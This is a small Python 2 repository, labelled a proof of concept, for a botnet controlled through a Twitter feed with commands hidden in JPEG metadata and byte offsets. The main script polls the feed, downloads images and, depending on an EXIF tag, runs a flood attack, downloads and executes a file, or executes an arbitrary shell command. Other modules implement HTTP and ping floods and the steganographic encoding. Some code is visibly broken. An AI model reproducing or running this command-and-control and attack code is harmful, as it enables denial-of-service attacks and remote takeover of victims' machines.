└── daVinci
├── .project
├── .pydevproject
├── README
├── daVinci.py
├── ddos.py
├── jpeg.py
├── netcom.py
└── stego.py
/daVinci/.project:
--------------------------------------------------------------------------------
1 |
2 |
3 | daVinci
4 |
5 |
6 |
7 |
8 |
9 | org.python.pydev.PyDevBuilder
10 |
11 |
12 |
13 |
14 |
15 | org.python.pydev.pythonNature
16 |
17 |
18 |
--------------------------------------------------------------------------------
/daVinci/.pydevproject:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | /daVinci
7 |
8 | python 2.7
9 | Default
10 |
11 |
--------------------------------------------------------------------------------
/daVinci/README:
--------------------------------------------------------------------------------
1 | ----------------------------------
2 | daVinci PoC
3 | ----------------------------------
4 | A simple twitter run botnet,
5 | which sends commands via stego-
6 | jpegs
--------------------------------------------------------------------------------
/daVinci/daVinci.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import os
4 | import time
5 |
6 | from ddos import attack
7 | from netcom import network
8 | from jpeg import stegoJpeg
9 | from subprocess import Popen, PIPE
10 |
11 | class davinci():
12 |
13 | def __init__(self):
14 | self.net = network()
15 | self.fileSave = 'firefox'
16 | self.updateUrl = 'https://twitter.com/statuses/user_timeline/243085506.rss'
17 | self.failSafeUrl = ''
18 | self.standardSleep = 30
19 |
20 | def loopPhoneHome(self):
21 | ''' Indefinantly calls home every "standardSleep" number of seconds '''
22 | while True:
23 | self.phoneHome()
24 | print ' [*] Starting standard sleep (%d) seconds...' % self.standardSleep
25 | time.sleep(self.standardSleep)
26 |
27 | def phoneHome(self):
28 | ''' Calls home (checks twitter feed) for updates '''
29 | print ' [+] Calling home to check for new commands from my master...'
30 | self.net.parseXml(self.updateUrl)
31 | if '.jpg' in self.net.xmlItems['bidding']:
32 | picture = self.net.xmlItems['bidding']
33 | self.fileUrl = self.net.getXmlValue('http://', '.jpg', picture, False)
34 | print ' [*] New command found, I must download: %s' % self.fileUrl
35 | self.getFile('.jpg')
36 | self.update = stegoJpeg(self.fileSave + '.jpg')
37 | self.meta = self.update.getMetadata()
38 | self.commandLookUp(self.meta['make'])
39 | elif '.exe' in self.net.xmlItems['bidding']:
40 | print ' [!] No code here yet, try again later'
41 | else:
42 | print ' [*] No command from master at this time'
43 |
44 | def getFile(self, extension):
45 | print ' [*] Getting remote file: %s' % self.fileUrl
46 | self.net.getFile(self.fileUrl, self.fileSave + extension)
47 |
48 | def getMessage(self):
49 | offset = int(self.meta['iso'])
50 | message = self.update.readOffset(offset)
51 | return message
52 |
53 | def commandLookUp(self, command):
54 | print ' [*] Command type:',
55 | if command == 'Canon':
56 | print 'Denial of Service...'
57 | target = self.getMessage()
58 | attack().action(target)
59 | elif command == 'Nikon':
60 | print 'Download and execute...'
61 | url = 'someXe'
62 | self.net.getFile(url, self.exeSave[0])
63 | self.execute(self.exeSave[0])
64 | elif command == 'Sony':
65 | print 'System Call'
66 | command = self.getMessage()
67 | os.system(command)
68 | elif command == 'Casio':
69 | print '0x90'
70 | time.sleep(300)
71 |
72 | def execute(self, command):
73 | reply = Popen(command, stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate()
74 | print reply
75 |
76 | if __name__ == '__main__':
77 | try:
78 | davinci().loopPhoneHome()
79 | except KeyboardInterrupt:
80 | print '\n [*] User exit, please run again!'
--------------------------------------------------------------------------------
/daVinci/ddos.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import time
4 | import thread
5 | import urllib2
6 |
7 | from os import system
8 |
9 | class attack(object):
10 |
11 | def __init__(self):
12 | self.target = ''
13 | self.threads = 5
14 | self.duration = 300
15 | self.timeout = 15
16 |
17 | def action(self, type):
18 | if type == 'http':
19 | for thread in self.threads:
20 | thread.start_new(self.http)
21 | time.sleep(self.duration)
22 | elif type == 'ping':
23 | for thread in self.threads:
24 | thread.start_new(self.ping)
25 | time.sleep(self.duration)
26 |
27 | def http(self):
28 | request = urllib2.Request(self.target)
29 | while True:
30 | connection = urllib2.urlopen(request)
31 | data = connection.read(1024)
32 | if not len(data):
33 | continue
34 |
35 | def ping(self):
36 | if len(self.target) > 0:
37 | system('ping -f %s' % self.target)
38 | else:
39 | print ' [!] "%s" is not a valid target' % self.target
40 |
41 | if __name__ == '__main__':
42 | attack().action()
--------------------------------------------------------------------------------
/daVinci/jpeg.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import os
4 | import mmap
5 | import base64
6 | import pyexiv2
7 | import binascii
8 |
9 | class stegoJpeg():
10 |
11 | def __init__(self, path):
12 | self.image = pyexiv2.ImageMetadata(path)
13 | self.image.read()
14 | self.imagePath = path
15 |
16 | def getMetadata(self):
17 | metadata = {}
18 | metadata['make'] = self.image['Exif.Image.Make'].raw_value
19 | metadata['iso'] = self.image['Exif.Photo.ISOSpeedRatings'].raw_value
20 | return metadata
21 |
22 | def readOffset(self, offset=1337):
23 | message, byte = [], ''
24 | file = open(self.imagePath, 'r+')
25 | size = os.path.getsize(self.imagePath)
26 | map = mmap.mmap(file.fileno(), size)
27 | if offset < size:
28 | map.seek(offset)
29 | print ' [*] Reading hidden byte stream...'
30 | while (byte != '\x00'):
31 | byte = map.read_byte()
32 | if byte != '\x00':
33 | message.append(byte)
34 | else:
35 | print ' [*] Read (%d bytes):' % len(message),
36 | print ''.join(message),
37 | message = binascii.unhexlify(''.join(message))
38 | print '(%s)' % base64.decodestring(message)
39 | else:
40 | print ' [!] File is too small (%d), can\'t jump to offset' % size
41 | return base64.decodestring(message)
42 |
--------------------------------------------------------------------------------
/daVinci/netcom.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 |
5 | class network():
6 |
7 | def __init__(self):
8 | self.page = []
9 | self.xmlItems = {}
10 |
11 | def getPage(self, url):
12 | ''' Get web page from url, data is stored in self.page '''
13 | self.page = []
14 | request = urllib2.Request(url)
15 | connection = urllib2.urlopen(request)
16 | while True:
17 | data = connection.read(1024)
18 | if not len(data):
19 | break
20 | print ' [<] Got %d byte(s) from %s' % (len(data), url)
21 | self.page.append(data)
22 |
23 | def getFile(self, url, saveTo):
24 | ''' Download a remote file from url and writes it to "saveTo" '''
25 | remoteSite = urllib2.urlopen(url)
26 | file = open(saveTo, 'w')
27 | meta = remoteSite.info()
28 | fileSize = int(meta.getheaders('Content-Length')[0])
29 | print ' [<] Downloading: %s' %saveTo.split('\\')[-1],
30 | fileSize_dl = 0
31 | block = 1024
32 | while True:
33 | buffer = remoteSite.read(block)
34 | if not buffer:
35 | break
36 | fileSize_dl += block
37 | file.write(buffer)
38 | status = r'[%3.0f%%] %10d bytes' % (fileSize_dl * 100. / fileSize, fileSize_dl)
39 | status = status + chr(8)*(len(status)+1)
40 | print status,
41 | print '\n [*] Download Completed!'
42 | file.close()
43 |
44 | def __getXmlItems__(self, xml):
45 | ''' Used to help parse the XML from twitter '''
46 | self.xmlItems = {}
47 | item = xml[xml.find('- ')+len('
- '):xml.find('
')]
48 | self.xmlItems['bidding'] = self.getXmlValue('', '', item)
49 | self.xmlItems['time'] = self.getXmlValue('', '', item)
50 |
51 | def getXmlValue(self, start, end, item, strip=True):
52 | ''' Used to retrieve a value from the XML data '''
53 | startIndex = item.find(start)+len(start)
54 | endIndex = item.find(end)
55 | if strip:
56 | return item[startIndex:endIndex]
57 | else:
58 | return item[startIndex-len(start):endIndex+len(end)]
59 |
60 | def parseXml(self, url):
61 | ''' Used to parse the XML from twitter '''
62 | self.getPage(url)
63 | if self.page != None:
64 | xml = ''.join(self.page)
65 | self.__getXmlItems__(xml)
66 | print ' [*] Got update, posted at: %s' % self.xmlItems['time']
67 | else:
68 | print ' [!] Unable to get the page through the tubes.'
--------------------------------------------------------------------------------
/daVinci/stego.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import os
4 | import sys
5 | import mmap
6 | import base64
7 | import pyexiv2
8 | import binascii
9 |
10 | class stegoJpeg():
11 |
12 | def __init__(self, path):
13 | self.imagePath = path
14 | self.image = pyexiv2.ImageMetadata(path)
15 | self.image.read() # Metadata is stored in the 'image' object
16 |
17 | def displayMetadata(self):
18 | print ' [*] Current image metadata:'
19 | for key in self.image.keys():
20 | print '\t[+] KEY: ', key
21 |
22 | def modifyMetaTag(self):
23 | self.displayMetadata()
24 | tag = raw_input(' [?] Tag name: ')
25 | try:
26 | print ' [*] Current value: ', self.image[tag].raw_value
27 | self.image[tag] = raw_input(' [?] Set new tag value: ')
28 | except:
29 | print ' [!] %s is not a valid tag, try again' % tag
30 | sys.exit()
31 | self.image.write()
32 | print ' [+] Wrote data to file.'
33 |
34 | def writeOffset(self, message, offset=1337):
35 | message = base64.encodestring(message)
36 | message = binascii.hexlify(message)
37 | print ' [*] Message is (%d bytes): %s' % (len(message), message)
38 | self.image['Exif.Photo.ISOSpeedRatings'] = offset
39 | self.image.write()
40 | print ' [+] Wrote new metadata to ISOSpeedRatings: %d' % offset
41 | file = open(self.imagePath, 'r+')
42 | size = os.path.getsize(self.imagePath)
43 | map = mmap.mmap(file.fileno(), size)
44 | print ' [*] File size...',
45 | if offset + len(message) < size:
46 | print 'Ok.'
47 | map.seek(offset)
48 | print ' [*] Writing byte stream, please wait...',
49 | for byte in message:
50 | map.write_byte(byte)
51 | map.write_byte('\x00')
52 | else:
53 | print 'too small!'
54 | map.close()
55 | print 'done!'
56 |
57 | def readOffset(self, offset=1337):
58 | message, byte = [], ''
59 | file = open(self.imagePath, 'r+')
60 | size = os.path.getsize(self.imagePath)
61 | map = mmap.mmap(file.fileno(), size)
62 | if offset < size:
63 | map.seek(offset)
64 | print ' [*] Reading hidden byte stream...'
65 | while (byte != '\x00'):
66 | byte = map.read_byte()
67 | if byte != '\x00':
68 | message.append(byte)
69 | else:
70 | print ' [*] Read (%d bytes):' % len(message),
71 | print ''.join(message),
72 | print '(%s)' % base64.decodestring(binascii.unhexlify(''.join(message)))
73 | else:
74 | print ' [!] File is too small (%d), can\'t jump to offset %s' % (size, offset)
75 |
76 | if __name__ == '__main__':
77 | try:
78 | if not os.path.exists(sys.argv[1]):
79 | print ' [*] File (%s) not found.' % sys.argv[2]
80 | sys.exit()
81 | jpg = stegoJpeg(sys.argv[1])
82 |
83 | if sys.argv[2] == '--meta' or '-m' == sys.argv[2]:
84 | jpg.modifyMetaTag()
85 | elif sys.argv[2] == '--writeoff' or '-w' == sys.argv[2]:
86 | if len(sys.argv) == 4:
87 | jpg.writeOffset(sys.argv[3])
88 | else:
89 | jpg.writeOffset(raw_input(' [?] Message: '))
90 | elif sys.argv[2] == '--readoff' or '-r' == sys.argv[2]:
91 | jpg.readOffset(int(sys.argv[3]))
92 | elif sys.argv[2] == '--all' or '-a' == sys.argv[2]:
93 | jpg.displayMetadata()
94 | except KeyboardInterrupt:
95 | print '\n [*] User Exit'
96 |
97 |
--------------------------------------------------------------------------------